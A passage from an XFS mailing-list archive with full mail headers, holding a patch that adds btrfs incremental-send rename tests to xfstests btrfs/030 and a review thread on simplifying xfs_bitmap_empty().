(version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 18:05:45 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.171 Received: by mail-we0-f171.google.com with SMTP id u56so286356wes.16 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 18:05:44 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=/eBzUlLuGII/EMC2iRZ1gP+ZcqTVAG62lWx2Abb8MwA=; b=fxOHaj2/WEyVBZ7798zYj3mXCFwxLSWrxj2/KDwPojBUwLplb4/h2ZwnPLXA44lhp3 lQG2wB7eU2rOQS5SrSez6PNmv71bHDPKQH+XYtSHS2FrdpLegwlJ8RH3UNmvxE9u0M2H zSGWJP4vSkNT9dqMt89zKPRhDwyq2N2tXuRXMdg0F73aVS8BiOSjb8zLo1eWzNnFbf23 ZIEQZatBxLG2hgVRjBIHzbeRZH28fDgV93KMOqUeADhMcKqNU6nx+lT7tbLUsTBCzDXS VtUT/jTpD5KUr5XUB6QN19uFPRnjqghq7Bsbp3EJ9ahXPjWsv1gHk95H3tSJip096e/z 8XtQ== X-Received: by 10.180.77.200 with SMTP id u8mr931863wiw.48.1391220344493; Fri, 31 Jan 2014 18:05:44 -0800 (PST) Received: from storm-desktop.lan (bl10-140-184.dsl.telepac.pt. [85.243.140.184]) by mx.google.com with ESMTPSA id bj3sm23742604wjb.14.2014.01.31.18.05.43 for <multiple recipients> (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 31 Jan 2014 18:05:44 -0800 (PST) From: Filipe David Borba Manana <fdmanana@gmail.com> To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana <fdmanana@gmail.com> Subject: [PATCH] xfstests: more tests for test case btrfs/030 Date: Sat, 1 Feb 2014 02:05:32 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: more tests for test case btrfs/030 Message-Id: <1391220332-22118-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-we0-f171.google.com[74.125.82.171] X-Barracuda-Start-Time: 1391220345 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144703 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This change adds some new tests for btrfs' incremental send feature. These are all related with inverting the parent-child relationship of directories, and cover the cases: * when the new parent didn't get renamed (just moved) * when a child file of the former parent gets renamed too These new cases are fixed by the following btrfs linux kernel patches: * "Btrfs: more send support for parent/child dir relationship inversion" * "Btrfs: fix send dealing with file renames and directory moves" Signed-off-by: Filipe David Borba Manana <fdmanana@gmail.com> --- tests/btrfs/030 | 86 +++++++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 65 insertions(+), 21 deletions(-) diff --git a/tests/btrfs/030 b/tests/btrfs/030 index 6678ed8..6b52a0d 100755 --- a/tests/btrfs/030 +++ b/tests/btrfs/030 @@ -73,22 +73,41 @@ mkdir $SCRATCH_MNT/a/b/www echo "hey" > $SCRATCH_MNT/a/b/foobar.txt mkdir -p $SCRATCH_MNT/a/b/c3/x/y +mkdir -p $SCRATCH_MNT/a/b/foo1/foo2 +echo "hey" > $SCRATCH_MNT/a/b/foo1/foo2/f.txt +mkdir $SCRATCH_MNT/a/b/foo3 + +mkdir -p $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4 +echo "ola" > $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4/hello.txt + # Directory tree looks like: # -# . (ino 256) -# |-- a/ (ino 257) -# |-- b/ (ino 258) -# |-- c/ (ino 259) -# | |-- file.txt (ino 260) -# | |-- d/ (ino 261) +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# | |-- file.txt (ino 260) +# | |-- d/ (ino 261) +# | +# |-- c2/ (ino 262) +# |-- www/ (ino 263) +# |-- foobar.txt (ino 264) +# | +# |-- c3/ (ino 265) +# | |-- x/ (ino 266) +# | |-- y/ (ino 267) +# | +# |-- foo1/ (ino 268) +# | |---foo2/ (ino 269) +# | |---f.txt (ino 270) # | -# |-- c2/ (ino 262) -# |-- www/ (ino 263) -# |-- foobar.txt (ino 264) +# |-- foo3/ (ino 271) # | -# |-- c3/ (ino 265) -# |-- x/ (ino 266) -# |-- y/ (ino 267) +# |-- bar1/ (ino 272) +# |-- bar2/ (ino 273) +# |-- bar3/ (ino 274) +# |-- bar4 (ino 275) +# |--hello.txt (ino 276) run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ $SCRATCH_MNT/mysnap1 @@ -104,21 +123,46 @@ mv $SCRATCH_MNT/a/b/foobar.txt $SCRATCH_MNT/a/b/c2/y2/x2/qwerty.txt ln $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2/Z/file_link.txt mv $SCRATCH_MNT/a/b/c2/d2/cc/file.txt $SCRATCH_MNT/a/b/c2/y2/x2 +mv $SCRATCH_MNT/a/b/foo3 $SCRATCH_MNT/a/b/foo1/foo33 +mv $SCRATCH_MNT/a/b/foo1/foo2 $SCRATCH_MNT/a/b/foo1/foo33/foo22 +mv $SCRATCH_MNT/a/b/foo1/foo33/foo22/f.txt \ + $SCRATCH_MNT/a/b/foo1/foo33/foo22/fff.txt + +echo " hello" >> $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4/hello.txt +mv $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4/hello.txt \ + $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4/hello2.txt +mv $SCRATCH_MNT/a/b/bar1/bar2/bar3/bar4 $SCRATCH_MNT/a/b/k44 +mv $SCRATCH_MNT/a/b/bar1/bar2/bar3 $SCRATCH_MNT/a/b/k44 +mv $SCRATCH_MNT/a/b/bar1/bar2 $SCRATCH_MNT/a/b/k44/bar3 +mv $SCRATCH_MNT/a/b/bar1 $SCRATCH_MNT/a/b/k44/bar3/bar2/k11 + # Directory tree now looks like: # # . (ino 256) # |-- a/ (ino 257) # |-- b/ (ino 258) # |-- c2/ (ino 262) -# |-- d2/ (ino 261) -# | |-- cc/ (ino 259) -# | |-- file.txt (ino 260) -# |-- y2/ (ino 267) -# |-- x2/ (ino 266) -# |-- qwerty.txt (ino 264) -# |-- WWW/ (ino 263) -# |-- Z/ (ino 265) -# |-- file_link.txt +# | |-- d2/ (ino 261) +# | | |-- cc/ (ino 259) +# | | +# | |-- y2/ (ino 267) +# | |-- x2/ (ino 266) +# | |-- file.txt (ino 260) +# | |-- qwerty.txt (ino 264) +# | |-- WWW/ (ino 263) +# | |-- Z/ (ino 265) +# | |-- file_link.txt +# | +# |-- foo1/ (ino 268) +# | |---foo33/ (ino 271) +# | |---foo22/ (ino 269) +# | |---fff.txt (ino 270) +# | +# |-- k44/ (ino 275) +# |-- hello2.txt (ino 276) +# |-- bar3/ (ino 274) +# |-- bar2/ (ino 273) +# |-- k11/ (ino 272) run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ $SCRATCH_MNT/mysnap2 -- 1.7.9.5 From jeff.liu@oracle.com Fri Jan 31 21:49:03 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C90677CBE for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 21:49:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3FD7CAC004 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 19:48:59 -0800 (PST) X-ASG-Debug-ID: 1391226537-04cb6c6de26e090001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id VEc27kEspBVahss1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 19:48:57 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s113mtEX028080 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 1 Feb 2014 03:48:56 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s113msjH007034 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 1 Feb 2014 03:48:55 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s113ms50004155; Sat, 1 Feb 2014 03:48:54 GMT Received: from [192.168.1.101] (/218.58.151.212) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 19:48:54 -0800 Message-ID: <52EC6EA0.9000501@oracle.com> Date: Sat, 01 Feb 2014 11:48:48 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely <tinguely@sgi.com> CC: Eric Sandeen <sandeen@sandeen.net>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> <52EBC1AF.6020000@sandeen.net> <52EBC67B.7020806@oracle.com> <52EBCF12.1020403@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <52EBCF12.1020403@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391226537 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144705 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/01 2014 00:28 AM, Mark Tinguely wrote: > On 01/31/14 09:51, Jeff Liu wrote: >> >> On 01/31 2014 23:30 PM, Eric Sandeen wrote: >>> On 1/31/14, 9:28 AM, Jeff Liu wrote: >>>> >>>> On 01/31 2014 23:07 PM, Eric Sandeen wrote: >>>>> On 1/31/14, 8:13 AM, Jeff Liu wrote: >>>>>> From: Jie Liu<jeff.liu@oracle.com> >>>>>> >>>>>> There is no need to travel through the whole bitmap items to verify >>>>>> if the bitmap array is empty or not, instead, just return 0 directly >>>>>> if an item is detected in bitmap array. >>>>>> >>>>>> Signed-off-by: Jie Liu<jeff.liu@oracle.com> >>>>> >>>>> Makes sense (and the long loop was my fault, I guess, but it's >>>>> better than it was, see commit 24ad33f!) >>>> >>>> Ah, you have killed a lots code there! :) >>>>> Reviewed-by: Eric Sandeen<sandeen@redhat.com> >>>>> >>>>> I wonder if something like: >>>>> >>>>> return (find_first_set(map, size) == size); >>>>> >>>>> would be faster (or if it'd be worth it)...? >>>>> Probably not. :) >>>>> >>>> >>>> Well, when I looking through our bitmap source, I once thought if >>>> we can replace the current code with the generic bitmap library. >>>> However, our map is uint rather than unsigned long... >>> >>> Technically the unsigned long (pointer) is just the bitmap address, >>> I think. >> >> Yeah, so this might worth to try on long terms. >> > > The blf_data_map[] is int aligned, not long aligned. > You could reflect the alignment difference in the offset or > change the alignment in the structure. > For now, I think we can not simply turn to generic bitmap just because of the alignment difference on 64-bits OS. Thanks, -Jeff